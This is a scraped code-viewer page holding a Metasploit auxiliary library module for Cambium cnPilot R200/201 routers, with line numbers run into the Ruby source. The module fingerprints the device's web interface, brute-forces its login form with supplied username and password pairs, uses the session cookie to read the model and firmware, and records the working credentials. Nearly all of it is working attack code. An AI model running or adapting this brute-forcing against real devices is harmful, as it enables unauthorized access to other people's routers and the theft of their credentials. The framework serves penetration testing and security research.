Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/msf/core/auxiliary/cnpilot.rb
Views: 11784
# -*- coding: binary -*-1module Msf2###3#4# This module provides methods for working with cnPilot R200/2015#6###78module Auxiliary::CNPILOT9include Msf::Exploit::Remote::HttpClient10include Msf::Auxiliary::AuthBrute11include Msf::Auxiliary::Report12include Msf::Auxiliary::Scanner1314def report_cred(opts)15service_data = {16address: opts[:ip],17port: opts[:port],18service_name: opts[:service_name],19protocol: 'tcp',20workspace_id: myworkspace_id21}2223credential_data = {24origin_type: :service,25module_fullname: fullname,26username: opts[:user],27private_data: opts[:password],28private_type: :password29}.merge(service_data)3031login_data = {32last_attempted_at: Time.now,33core: create_credential(credential_data),34status: Metasploit::Model::Login::Status::SUCCESSFUL,35proof: opts[:proof]36}.merge(service_data)3738create_credential_login(login_data)39end4041#42# Check if App is Cambium cnPilot43#4445def is_app_cnpilot?46begin47res = send_request_cgi(48{49'uri' => '/index.asp',50'method' => 'GET'51}52)5354rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError55print_error("#{rhost}:#{rport} - HTTP Connection Failed...")56return false57end5859good_response = (60res &&61res.code == 200 &&62res.headers['Server'] &&63(res.headers['Server'].include?('GoAhead-Webs') && res.body.include?('cnPilot') && res.body.include?('style_CAMBIUM.css'))64)6566if good_response67print_good("#{rhost}:#{rport} - Cambium cnPilot confirmed...")68run_login69return true70else71print_error("#{rhost}:#{rport} - Target does not appear to be Cambium cnPilot r200/r201. Module will not continue.")72return false73end74end7576#77# Brute-force the login page78#7980def do_login(user, pass)81print_status("#{rhost}:#{rport} - Attempting to login...")8283res = send_request_cgi(84{85'uri' => '/goform/websLogin',86'method' => 'POST',87'headers' => {88'Accept' => 'application/json, text/javascript, */*; q=0.01'89},90'vars_post' =>91{92'user_name' => user,93'password' => pass94}95}96)9798good_response = (99res &&100res.code == 302 &&101res.headers.include?('Location') &&102res.headers['Location'].include?('Status_Basic')103)104105if good_response106print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")107108# Extract device model109the_cookie = res.get_cookies110111res = send_request_cgi(112{113'uri' => '/status/Status_Basic.asp',114'method' => 'GET',115'cookie' => the_cookie,116'headers' => {117'Accept' => 'application/json, text/javascript, */*; q=0.01'118}119}120)121122good_response = (123res &&124res.code == 200 &&125res.headers.include?('Server') &&126(res.headers['Server'].include?('GoAhead-Webs') && res.body.include?('cnPilot') && res.body.include?('style_CAMBIUM.css'))127)128129if good_response130get_cnpilot_model = res.body.match(/device_name= (.*)/)131get_cnpilot_version_html = Nokogiri::HTML(res.body)132get_cnpilot_version = get_cnpilot_version_html.at_css('div#statusInfo').text133cnpilot_version = "#{get_cnpilot_version}".match(/p;(.*?)[$<\/]/)[1]134135if !get_cnpilot_model.nil?136cnpilot_model = "#{get_cnpilot_model}".match(/[$"](.*)[$"]/)[1]137138if !cnpilot_model.nil?139print_status("Running cnPilot #{cnpilot_model} #{cnpilot_version}")140report_cred(141ip: rhost,142port: rport,143service_name: "Cambium #{cnpilot_model} #{cnpilot_version}",144user: user,145password: pass146)147else148print_status("Running cnPilot #{cnpilot_version}")149report_cred(150ip: rhost,151port: rport,152service_name: 'Cambium cnPilot #{cnpilot_version}',153user: user,154password: pass155)156end157return the_cookie, cnpilot_version158end159end160else161print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")162the_cookie = 'skip'163cnpilot_version = 'skip'164return the_cookie, cnpilot_version165end166end167end168end169170171